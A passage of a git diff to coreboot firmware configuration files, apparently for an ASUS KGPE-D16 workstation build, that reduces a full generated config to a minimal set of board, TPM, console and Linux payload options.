is not set -# CONFIG_SOC_QUALCOMM_SDM845 is not set -# CONFIG_SOC_ROCKCHIP_RK3288 is not set -# CONFIG_SOC_ROCKCHIP_RK3399 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set -# CONFIG_SOC_UCB_RISCV is not set - -# -# CPU -# -CONFIG_CPU_SOCKET_TYPE=0x15 -# CONFIG_EXT_RT_TBL_SUPPORT is not set -CONFIG_CBB=0x0 -CONFIG_CDB=0x18 -CONFIG_XIP_ROM_SIZE=0x80000 -CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y -CONFIG_CPU_AMD_MODEL_10XXX=y -CONFIG_USE_LARGE_DCACHE=y -CONFIG_NUM_IPI_STARTS=1 -CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 -CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 -CONFIG_DCACHE_AP_STACK_SIZE=0x500 -CONFIG_SET_FIDVID=y -CONFIG_LIFT_BSP_APIC_ID=y -CONFIG_SET_FIDVID_DEBUG=y -CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y -# CONFIG_SET_FIDVID_CORE0_ONLY is not set -CONFIG_SET_FIDVID_CORE_RANGE=0 -CONFIG_UDELAY_LAPIC_FIXED_FSB=200 -# CONFIG_CPU_AMD_AGESA is not set -# CONFIG_CPU_AMD_PI is not set -# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set -CONFIG_SSE2=y -# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set -# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set -# CONFIG_CPU_TI_AM335X is not set -CONFIG_PARALLEL_CPU_INIT=y -# CONFIG_PARALLEL_MP is not set -CONFIG_UDELAY_LAPIC=y -# CONFIG_LAPIC_MONOTONIC_TIMER is not set -# CONFIG_UDELAY_TSC is not set -CONFIG_TSC_SYNC_LFENCE=y -# CONFIG_TSC_SYNC_MFENCE is not set -# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set -CONFIG_LOGICAL_CPUS=y -# CONFIG_HAVE_SMI_HANDLER is not set -# CONFIG_NO_SMM is not set -# CONFIG_SMM_ASEG is not set -CONFIG_SMM_TSEG=y -CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 -CONFIG_SMM_STUB_STACK_SIZE=0x400 -# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set -# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set -CONFIG_X86_AMD_FIXED_MTRRS=y -# CONFIG_X86_AMD_INIT_SIPI is not set -# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set -# CONFIG_SOC_SETS_MSRS is not set -CONFIG_CAR_GLOBAL_MIGRATION=y -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -# CONFIG_USES_MICROCODE_HEADER_FILES is not set -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y -CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y - -# -# Northbridge -# -# CONFIG_NORTHBRIDGE_AMD_AGESA is not set -CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y -CONFIG_AGP_APERTURE_SIZE=0x4000000 -CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" -CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y -# CONFIG_HT_CHAIN_DISTRIBUTE is not set -# CONFIG_DIMM_DDR2 is not set -CONFIG_DIMM_DDR3=y -CONFIG_DIMM_REGISTERED=y -CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y -# CONFIG_SVI_HIGH_FREQ is not set - -# -# HyperTransport setup -# -# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set -CONFIG_LIMIT_HT_DOWN_WIDTH_16=y -# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set -CONFIG_LIMIT_HT_UP_WIDTH_16=y -# CONFIG_NORTHBRIDGE_AMD_PI is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y -CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" -# CONFIG_AMD_SB_CIMX is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set -CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y -CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y -# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set -CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y -CONFIG_SOUTHBRIDGE_AMD_SR5650=y -CONFIG_EXT_CONF_SUPPORT=y -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set -# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set -# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set - -# -# Super I/O -# -# CONFIG_SUPERIO_ASPEED_AST2400 is not set -# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set -# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set -# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set -CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y -CONFIG_SUPERIO_WINBOND_W83667HG_A=y - -# -# Embedded Controllers -# -# CONFIG_EC_GOOGLE_WILCO is not set -# CONFIG_CAVIUM_BDK is not set -# CONFIG_MAINBOARD_HAS_CHROMEOS is not set -# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set -# CONFIG_UEFI_2_4_BINDING is not set -# CONFIG_UDK_2015_BINDING is not set -# CONFIG_UDK_2017_BINDING is not set -# CONFIG_USE_SIEMENS_HWILIB is not set -# CONFIG_ARM_LPAE is not set -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -# CONFIG_ARCH_POSTCAR_X86_32 is not set -CONFIG_ARCH_RAMSTAGE_X86_32=y -# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set -# CONFIG_ARCH_VERSTAGE_X86_64 is not set -# CONFIG_ARCH_ROMSTAGE_X86_64 is not set -# CONFIG_ARCH_POSTCAR_X86_64 is not set -# CONFIG_ARCH_RAMSTAGE_X86_64 is not set -# CONFIG_USE_MARCH_586 is not set -# CONFIG_AP_IN_SIPI_WAIT is not set -# CONFIG_SIPI_VECTOR_IN_ROM is not set -CONFIG_RAMBASE=0xe00000 -CONFIG_RAMTOP=0x1000000 -# CONFIG_CBMEM_TOP_BACKUP is not set -CONFIG_PC80_SYSTEM=y -# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y -# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set -# CONFIG_HPET_ADDRESS_OVERRIDE is not set -CONFIG_HPET_ADDRESS=0xfed00000 -CONFIG_ID_SECTION_OFFSET=0x80 -# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set -# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" -CONFIG_ACPI_HAVE_PCAT_8259=y -# CONFIG_PAGING_IN_CACHE_AS_RAM is not set -# CONFIG_IDT_IN_EVERY_STAGE is not set -# CONFIG_PIRQ_ROUTE is not set - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -# CONFIG_MULTIPLE_VGA_ADAPTERS is not set - -# -# Display -# -CONFIG_VGA_TEXT_FRAMEBUFFER=y -CONFIG_SMBUS_HAS_AUX_CHANNELS=y -CONFIG_PCI=y -# CONFIG_NO_MMCONF_SUPPORT is not set -CONFIG_MMCONF_SUPPORT=y -CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_AZALIA_PLUGIN_SUPPORT is not set -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -# CONFIG_EARLY_PCI_BRIDGE is not set -# CONFIG_SOFTWARE_I2C is not set - -# -# Generic Drivers -# -# CONFIG_DRIVERS_AS3722_RTC is not set -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_MAINBOARD_HAS_CRB_TPM is not set -# CONFIG_GIC is not set -CONFIG_IPMI_KCS=y -# CONFIG_DRIVERS_LENOVO_WACOM is not set -# CONFIG_RT8168_GET_MAC_FROM_VPD is not set -# CONFIG_RT8168_SET_LED_MODE is not set -# CONFIG_SMMSTORE_IN_CBFS is not set -CONFIG_SPI_FLASH=y -# CONFIG_SPI_SDCARD is not set -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set -# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set -# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set -# CONFIG_NO_UART_ON_SUPERIO is not set -# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set -# CONFIG_UART_OVERRIDE_REFCLK is not set -# CONFIG_DRIVERS_UART_8250MEM is not set -# CONFIG_DRIVERS_UART_8250MEM_32 is not set -# CONFIG_HAVE_UART_SPECIAL is not set -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_DRIVERS_UART_PL011 is not set -# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_WIFI is not set -# CONFIG_DRIVERS_AMD_PI is not set -CONFIG_DRIVERS_ASPEED_AST2050=y -CONFIG_DRIVERS_ASPEED_AST_COMMON=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_I2C_MAX98373 is not set -# CONFIG_DRIVERS_I2C_MAX98927 is not set -# CONFIG_DRIVERS_I2C_PCA9538 is not set -# CONFIG_DRIVERS_I2C_PCF8523 is not set -# CONFIG_DRIVERS_I2C_PTN3460 is not set -# CONFIG_DRIVERS_I2C_RT1011 is not set -# CONFIG_DRIVERS_I2C_RT5663 is not set -# CONFIG_DRIVERS_I2C_RTD2132 is not set -# CONFIG_DRIVERS_I2C_RX6110SA is not set -# CONFIG_DRIVERS_I2C_SX9310 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set -CONFIG_DRIVERS_I2C_W83795=y -# CONFIG_PLATFORM_USES_FSP1_0 is not set -# CONFIG_PLATFORM_USES_FSP2_0 is not set -# CONFIG_PLATFORM_USES_FSP2_1 is not set -# CONFIG_INTEL_DDI is not set -# CONFIG_INTEL_EDID is not set -# CONFIG_INTEL_INT15 is not set -# CONFIG_INTEL_GMA_ACPI is not set -# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set -# CONFIG_INTEL_GMA_SWSMISCI is not set -# CONFIG_DRIVER_INTEL_I210 is not set -# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set -# CONFIG_HAVE_INTEL_PTT is not set -# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set -# CONFIG_DRIVER_MAXIM_MAX77686 is not set -# CONFIG_DRIVER_PARADE_PS8625 is not set -# CONFIG_DRIVER_PARADE_PS8640 is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_LPC_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_MAINBOARD_HAS_LPC_TPM=y -CONFIG_VGA=y -# CONFIG_DRIVERS_RICOH_RCE822 is not set -# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set -# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set -# CONFIG_DRIVERS_SIL_3114 is not set -# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set -# CONFIG_DRIVER_TI_TPS65090 is not set -# CONFIG_DRIVERS_TI_TPS65913 is not set -# CONFIG_DRIVERS_TI_TPS65913_RTC is not set -# CONFIG_DRIVERS_USB_ACPI is not set -# CONFIG_COMMONLIB_STORAGE is not set - -# -# Security -# - -# -# Verified Boot (vboot) -# - -# -# Trusted Platform Module -# -CONFIG_TPM1=y -# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y -# CONFIG_USER_TPM2 is not set -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y - -# -# Memory initialization -# -# CONFIG_ACPI_SATA_GENERATOR is not set -# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set -# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set -# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set -# CONFIG_RTC is not set - -# -# Console -# -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_CONSOLE_SERIAL=y - -# -# I/O mapped, 8250-compatible -# - -# -# Serial port base address = 0x2f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set -CONFIG_HWBASE_DEBUG_CB=y -CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y -# CONFIG_NO_MONOTONIC_TIMER is not set -CONFIG_HAVE_MONOTONIC_TIMER=y -# CONFIG_TIMER_QUEUE is not set -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_PCI_IO_CFG_EXT=y -CONFIG_IOAPIC=y -# CONFIG_USE_WATCHDOG_ON_BOOT is not set -# CONFIG_GFXUMA is not set -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_HAVE_MP_TABLE=y -CONFIG_HAVE_PIRQ_TABLE=y -# CONFIG_COMMON_FADT is not set -# CONFIG_ACPI_NHLT is not set - -# -# System tables -# -CONFIG_GENERATE_MP_TABLE=y -CONFIG_GENERATE_PIRQ_TABLE=y -CONFIG_GENERATE_SMBIOS_TABLES=y -# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BAYOU is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y -# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set - -# -# Debugging -# - -# -# CPU Debug Settings -# -CONFIG_HAVE_DEBUG_CAR=y -# CONFIG_DEBUG_CAR is not set - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -# CONFIG_DEBUG_PIRQ is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_TRACE is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_HAVE_EM100_SUPPORT is not set -CONFIG_ENABLE_APIC_EXT_ID=y -CONFIG_WARNINGS_ARE_ERRORS=y -# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set -# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set -# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set -# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set -# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set -# CONFIG_REG_SCRIPT is not set -# CONFIG_NO_XIP_EARLY_STAGES is not set -# CONFIG_EARLY_CBMEM_LIST is not set -CONFIG_RELOCATABLE_MODULES=y -CONFIG_NO_STAGE_CACHE=y -CONFIG_BOOTBLOCK_CUSTOM=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 009414bf2..05c3c3ccd 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -1,709 +1,18 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y # CONFIG_COLLECT_TIMESTAMPS is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_NO_RELOCATABLE_RAMSTAGE=y -# CONFIG_RELOCATABLE_RAMSTAGE is not set -# CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_ADI is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_ADVANSUS is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y -# CONFIG_VENDOR_AVALUE is not set -# CONFIG_VENDOR_BAP is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_ELMEX is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ESD is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IEI is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIPPERT is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TYAN is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_DIR="asus/kgpe-d16" -CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" -CONFIG_MAX_CPUS=32 -CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 -CONFIG_MAINBOARD_VENDOR="ASUS" -CONFIG_APIC_ID_OFFSET=0x0 -CONFIG_HW_MEM_HOLE_SIZEK=0x100000 -CONFIG_MAX_PHYSICAL_CPUS=4 -CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 -CONFIG_HT_CHAIN_UNITID_BASE=0x0 -CONFIG_IRQ_SLOT_COUNT=13 -CONFIG_VGA_BIOS_ID="1a03,2000" -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DIMM_SPD_SIZE=256 -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" -CONFIG_DEVICETREE="devicetree.cb" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -# CONFIG_BOARD_ASUS_AM1I_A is not set -# CONFIG_BOARD_ASUS_F2A85_M is not set -# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set -# CONFIG_BOARD_ASUS_F2A85_M_LE is not set -# CONFIG_BOARD_ASUS_H61M_CS is not set -# CONFIG_BOARD_ASUS_KCMA_D8 is not set -# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_BOARD_ASUS_M4A78_EM is not set -# CONFIG_BOARD_ASUS_M4A785M is not set -# CONFIG_BOARD_ASUS_M4A785TM is not set -# CONFIG_BOARD_ASUS_M5A88_V is not set -# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set -# CONFIG_BOARD_ASUS_P2B_D is not set -# CONFIG_BOARD_ASUS_P2B_DS is not set -# CONFIG_BOARD_ASUS_P2B_F is not set -# CONFIG_BOARD_ASUS_P2B_LS is not set -# CONFIG_BOARD_ASUS_P2B is not set -# CONFIG_BOARD_ASUS_P3B_F is not set -# CONFIG_BOARD_ASUS_P5GC_MX is not set -# CONFIG_BOARD_ASUS_P5QC is not set -# CONFIG_BOARD_ASUS_P5Q_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_EM is not set -# CONFIG_BOARD_ASUS_P5QPL_AM is not set -# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set -# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set -CONFIG_POST_IO=y -CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" -CONFIG_DCACHE_RAM_BASE=0xc2000 -CONFIG_DCACHE_RAM_SIZE=0x1e000 -CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f -CONFIG_MAX_REBOOT_CNT=10 -CONFIG_OVERRIDE_DEVICETREE="" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_FMDFILE="" -# CONFIG_VBOOT is not set -CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_POST_DEVICE=y -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_TPM_INIT=y # CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_DIMM_MAX=4 -CONFIG_TPM_PIRQ=0x0 -CONFIG_TTYS0_LCS=3 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -# CONFIG_USBDEBUG is not set -CONFIG_IPMI_KCS_REGISTER_SPACING=1 -CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_NO_POST is not set -CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 -CONFIG_HEAP_SIZE=0xc0000 -# CONFIG_CONSOLE_POST is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_2048=y -# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# 